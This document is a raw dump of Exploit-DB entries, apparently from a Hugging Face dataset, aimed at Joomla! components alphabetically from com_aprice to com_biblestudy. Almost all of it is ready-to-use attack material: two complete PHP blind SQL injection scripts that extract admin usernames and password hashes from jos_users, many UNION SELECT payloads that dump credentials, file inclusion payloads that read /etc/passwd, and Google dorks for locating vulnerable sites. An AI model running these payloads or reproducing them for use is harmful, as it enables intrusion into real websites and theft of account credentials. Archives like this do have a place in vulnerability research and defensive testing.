deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10941
Description: Joomla! Component com_aprice - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('

        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author   : FL0RiX

@~~=Greez    : Wretch-x,Dr.KaCaK & All Friends

@~~=Home    : www.oltan.org

@~~=Bug :)   : com_aprice Blind SQL Injection Exploit


---------------Ooooo-------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)


');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>
Exploit-DB #11140
Description: Joomla! Component com_articlemanager - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-14
Author: FL0RiX

Exploit:
########################################################################
#        Joomla Component com_articlemanager SQL Injection Vulnerability
########################################################################
# Author   :FL0RiX
#
# Name     : com_articlemanager
#
# Bug Type   : SQL Injection
#
# Infection    : Admin login bilgileri alinabilir.
#
# Demo Vuln :
#
# http://[server]/index.php?option=com_articlemanager&Itemid=349&task=display&artid=
#
#EXPLOIT : null/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rix,5,6,7,8/**/from/**/jos_users--
########################################################################
Exploit-DB #12108
Description: Joomla! Component com_articles - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-08
Author: pratul agrawal

Exploit:
                                                        
 
                                          ****************************************************************************                             
                                           
                                                     Joomla Component com_articles SQL Injection Vulnerability

                                          ****************************************************************************


# Vulnerability  :       Joomla Component com_articles SQL Injection Vulnerability

# email          :       Pratulag@yahoo.com

# Author         :       Pratul Agrawal





 

  
************************************************   ExploiT   *******************************************************
  
 [*] Vulnerable File :
  
        http://127.0.0.1/index.php?option=com_articles&task=view_addarticles&sid=[SQL]
  
 [*] ExploiT         :
  
       9999+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10+from+jos_users—
  
 [*] Example         :
  
    http://127.0.0.1/index.php?option=com_articles&task=view_addarticles&sid=9999+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10+from+jos_users—
 
   
********************************************************************************************************************



  # If you have any questions, comments, or concerns, feel free to contact me.



 Quote of the day -  "I'm an excellent housekeeper. Every time I get a divorce, I keep the house." hE He he
Exploit-DB #9563
Description: Joomla! Component com_artportal 1.0 - 'portalid' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-01
Author: 599eme Man

Exploit:
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] Joomla Compenent Com_artportal (portalid) Remote SQL Injection Vulnerabilities
# [+] Software : Joomla Compenent Com_artportal
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Kim, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerability
#
#	[+] SQL
#
#		- http://www.site.com/index.php?option=com_artportal&portalid=1 union all select 1,2,3,4,5,6,version(),8,9--
#
#			[+] Demo
#
#				- http://demo.artetics.com/index.php?option=com_artportal&portalid=1%20union%20all%20select%201,2,3,4,5,6,version(),8,9--
#
#	[+] Blind SQL
#
#		- http://www.site.com/index.php?option=com_artportal&portalid=1 and 1=2 => False
#		- http://www.site.com/index.php?option=com_artportal&portalid=1 and and 1=1 => True
#
#		- http://www.site.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=4 => False
#		- http://www.site.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=5 => True
#
#			[+] Demo
#
#				- http://demo.artetics.com/index.php?option=com_artportal&portalid=1 and 1=2 => False
#				- http://demo.artetics.com/index.php?option=com_artportal&portalid=1 and 1=1 => True
#
#				- http://demo.artetics.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=4 => False
#				- http://demo.artetics.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=5 => True
#
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-09-01]
Exploit-DB #33766
Description: Joomla! Component com_as - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-16
Author: N2n-Hacker

Exploit:
source: https://www.securityfocus.com/bid/38757/info

The 'com_as' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_as&as=100&catid=-20 UNION SELECT 1,2,3,concat(username,0x3a,password)...+from+jos_users--
Exploit-DB #10905
Description: Joomla! Component com_avosbillets - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-01
Author: Pyske

Exploit:
<------------------- header data start ------------------- >
#############################################################
#        Joomla Component com_avosbillets Blind SQL Injection Vulnerability
#############################################################
# Author          : Pyske
# Home            : www.cyber-warrior.org<http://www.cyber-warrior.org>
# Greetz          : Fl0riX , M-K-A, F0RTYS3V3N ,BlackApple , KaBaDaY&#305; and All Cyber-Warrior
# Name            : com_avosbillets
# Bug Type        : Blind SQL Injection
# Infection       : Admin login bilgileri alinabilir.

#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
http://server/index.php?option=com_avosbillets&task=view&view=event&id=374/**/and/**/1=0/**/union/**/select/**/0,1,2,3,4,5,6,7,8,concat(username,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/from/**/jos_users--

< -- bug code end of -- >
Exploit-DB #11223
Description: Joomla! Component com_avosbillets - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-22
Author: snakespc

Exploit:
#--------------------------------------------------------
#Joomla (com_avosbillets) SQL injection Vulnerability
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com 
#site:anti-sec.info/vb/index.php      
#-------------------------------------------------------
#Dork:inurl"com_avosbillets"
#Exploit:
#--------
#PoC:
#http://server/index.php?option=com_avosbillets&task=view&view=event&id=-463+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users--
----------------------------------------------------------
Exploit-DB #16039
Description: Joomla! Component com_b2portfolio 1.0.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-01-24
Author: Salvatore Fresta

Exploit:
B2 Portfolio Joomla Component 1.0.0 Multiple SQL Injection Vulnerability

 Name              B2 Portfolio
 Vendor            http://www.pulseextensions.com
 Versions Affected 1.0.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2011-01-24

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

B2 Portfolio is a Joomla component to give the  user  the
option to view details of a portfolio item by zooming  it
on hover, and to allow a full view by clicking.


II. DESCRIPTION
_______________

Some parameters are not properly sanitised  before  being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 

A) Multiple SQL Injection
_________________________

Id  and  wallid  parameters  are  not  properly sanitised
before being used in SQL queries. This  can  be exploited
to manipulate SQL queries by injecting arbitrary SQL code.

The following are the vulnerable functions:

function getcategoryname() {
  $db =& JFactory::getDBO();
  $default_category = JRequest::getVar('c',  0);
  if($default_category == "") {
    $query_cat = 'SELECT default_category FROM #__b2portfolio_config';
    $db->setQuery( $query_cat );
    $default_category = $db->loadResult();
  }

  $query = 'SELECT * FROM #__b2portfolio_category where id='.$default_category;
  $db->setQuery( $query );
  $cat_data =  $this->_db->loadObject($query);
	
  return $cat_data;
}

function click() {
  $db =& JFactory::getDBO();
  $date =& JFactory::getDate();
  $trackDate = $date->toFormat( '%Y-%m-%d' );

  $query = 'UPDATE #__b2portfolio set click = ( click + 1 ) where id ='.$_GET['wallid'];
  $db->setQuery( $query );
  $db->query();
}


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

http://site/path/index.php?option=com_b2portfolio&c=-1 UNION SELECT 1,concat(username,0x34,password),3,4,5 FROM jos_users


V. FIX
______

No fix.
Exploit-DB #2090
Description: Joomla! Component com_bayesiannaivefilter 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-30
Author: Pablin77

Exploit:
#############################Pablin77 - XTech Inc Group################################
#
# com_bayesiannaivefilter Mambo Component Remote File Inclusion (mosConfig_absolute_path)
#
#################################################################################
#
# Discovered By Pablin77
#
#
# contact: Pablin_77 [at] Argentina [dot] com
#
#
#          Lebanon-Israel...STOP! No War!!!
#
#                     peace, that's all
#
#  This is a massive cyber-protest, we are :
#
#  eno7 | XTech Inc | byond crew | hackbsd crew | digitalmind
#
#
################################################################################
#
# Greetz: eno7 , Byond Crew
#
# Special Gretz:XTeh Inc (Status-x, Furtivo, sys7ech)
#
###############################################################################

code from lang.php

include_once($mosConfig_absolute_path.'/administrator/components/com_bayesiannaivefilter/languages/'.$mosConfig_lang.'.php');
  } else { 
    include_once($mosConfig_absolute_path.'/administrator/components/com_bayesiannaivefilter/languages/english.php');
  }

Web:
http://forge.joomla.org/sf/scm/do/listRepositories/projects.com_bayesianspamfiltering/scm

exploit:
http://site.com/[path]/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=[Evilcode]

##############################MARY TE AAAAAMOOOO!!!############################
###############################################################################

# milw0rm.com [2006-07-30]
Exploit-DB #36642
Description: Joomla! Component com_bbs - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-01-30
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51730/info

The 'com_bbs' component for Joomla! is prone to multiple remote SQL-injection vulnerabilities.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_bbs&bid=[SQLi]
http://www.example.com/index.php?option=com_bbs&task=list&bid=[SQLi]
http://www.example.com/index.php?option=com_bbs&Itemid=xxx&task=search&search_type=[SQLi]
Exploit-DB #12069
Description: Joomla! Component com_bca-rss-syndicator - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-05
Author: Vrs-hCk

Exploit:
 ================================================================================================

 Title    : Joomla Component com_bca-rss-syndicator LFI Vulnerability
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_bca-rss-syndicator&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_bca-rss-syndicator&controller=../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n
Exploit-DB #14502
Description: Joomla! Component com_beamospetition - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-29
Author: Forza-Dz

Exploit:
# Exploit Title : Joomla "com_beamospetition" Sql Injection Vulnerability 
# Date : 29 - 7 - 2010 
# Author : Forza-Dz
# Vendor : http://code.joomla.org/gf/project/beamospetition/frs/
# Version : All Versions 
# Tested on : Win Sp2 and Mc
############################################################
Dork = inurl:"com_beamospetition"
############################################################
--- SQL Injection Vulenrability --- 
SQL Injection Vulenrability component "com_beamospetition" 
http://www.site.com/path/index.php?option=com_beamospetition&startpage=3&pet=1[SQL]
############################################################
===[Injection]===
[SQL] = +Union+select+1--
############################################################
===[ Exploit ]===
http://www.site.com/path/index.php?option=com_beamospetition&startpage=3&pet=-1
+Union+select+user()+from+jos_users--
############################################################
Greetz @ Flit0x-Dz AnD MCA-CRB All "DZ" "MusliM" 
############################################################
Exploit-DB #18729
Description: Joomla! Component com_bearleague - SQL Injection
Type: webapps
Platform: php
Date: 2012-04-10
Author: xDarkSton3x

Exploit:
##################################################
# Exploit Title: joomla component (com_bearleague) SQL injection Vulnerability
# Date: 10/04/2012
# Author: xDarkSton3x
# E-mail : xdarkston3x@msn.com
# Category:: webapps
# Google dork: inurl:com_bearleague
# Vendor: http://beardev.com/component/joobb/topic/220-BearLeagueforSnookerorindividualSports.html
# Tested on: linux + windows
##################################################

[~]Exploit/p0c :
http://site.com/index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27

Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team  -  DiosdelaRed.Com - RemoteExecution ] [ Dedalo - Maztor ]
Exploit-DB #10734
Description: Joomla! Component com_beeheard - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-27
Author: FL0RiX

Exploit:
[++] Joomla Component com_beeheard Blind SQL injection Vulnerability
[++] author : FL0RiX
[++] Name : com_beeheard
[++] Bug Type : (Blind) SQL Injection
[++] Infection : Admin login bilgileri al&#305;nabilir.
[++] Demo Vuln. :

TRUE(+)
» http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=1
FALSE(-)
» http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=0

[++] Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.



< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=null/**/and/**/1=0/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rixforever,5,6,7,8,9/**/from/**/jos_users--

< -- bug code end of -- >
Exploit-DB #10946
Description: Joomla! Component com_bfsurvey - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
@~~=======================================~~@
@~~=Script   : Joomla Component com_bfsurvey

@~~=Author   : FL0RiX

@~~=HomePage: www.oltan.org

@~~=Greez  : Deep-Power ,Pyske,Wretch-x & All Friends

@~~=Bug Type : Local File Inlusion(LFI)

@~~=Dork : inurl:"com_bfsurvey"

@~~=======================================~~@

@~~=Vuln

: http://site/ [Yol] /index.php?option=com_bfsurvey&controller= [-LFI-]
Exploit-DB #10944
Description: Joomla! Component com_bfsurvey_basic - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
[+] Joomla Component com_bfsurvey_basic SQL Injection Vulnerability

[+] Author: FL0RiX

[+] Greez  : Wretch-x And All Friends

[+] HomePage : http://oltan.org


############################################################################################################################

[+] Exploit;

     [+] null/**/and/**/1=0/**/union/**/select/**/concat(username,0x3a,password)fl0rix,user(),user()/**/from/**/jos_users--


############################################################################################################################
< ---- Note ---- >
F....N;
Sen çok üstün zekaya sahip birisin,
emin olabilirsin, :)
Sql injection ile domain hackleyebilen tek lamersin, :)
ASP'de Rfi Bulmakta Birebirsin,
Ama Gördügüm En hIyar Lamersin :D
Bu Kafiyelerde Bi TarafIna Girsin ;)
Lol F....N :)
< ---- Note Finished ---- >
Exploit-DB #10945
Description: Joomla! Component com_bfsurvey_pro - 'catid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('

        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author   : FL0RiX

@~~=Greez    : Wretch-x,Dr.KaCaK & All Friends

@~~=Bug :)   : com_bfsurvey_pro (catid) Blind SQL Injection Exploit

@~~=WARNING! :  : php fl0rix.php "http://www.site.com/index.php?option=com_bfsurvey_pro&view=bfsurveypro&catid=53"
---------------Ooooo-------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)


');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>
Exploit-DB #10943
Description: Joomla! Component com_biblestudy - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
@~~=======================================~~@
@~~=Script   : Joomla Component com_biblestudy

@~~=Author   : FL0RiX

@~~=Greez : Deep-Power ,Pyske,Wretch-x & All Friends

@~~=Bug Type : Local File Inlusion

@~~=Dork : inurl:"com_biblestudy"

@~~=======================================~~@

@~~=Vuln

: http://server/ [Yol] /index.php?option=com_biblestudy&id=1&view=studieslist&controller= [-LFI-]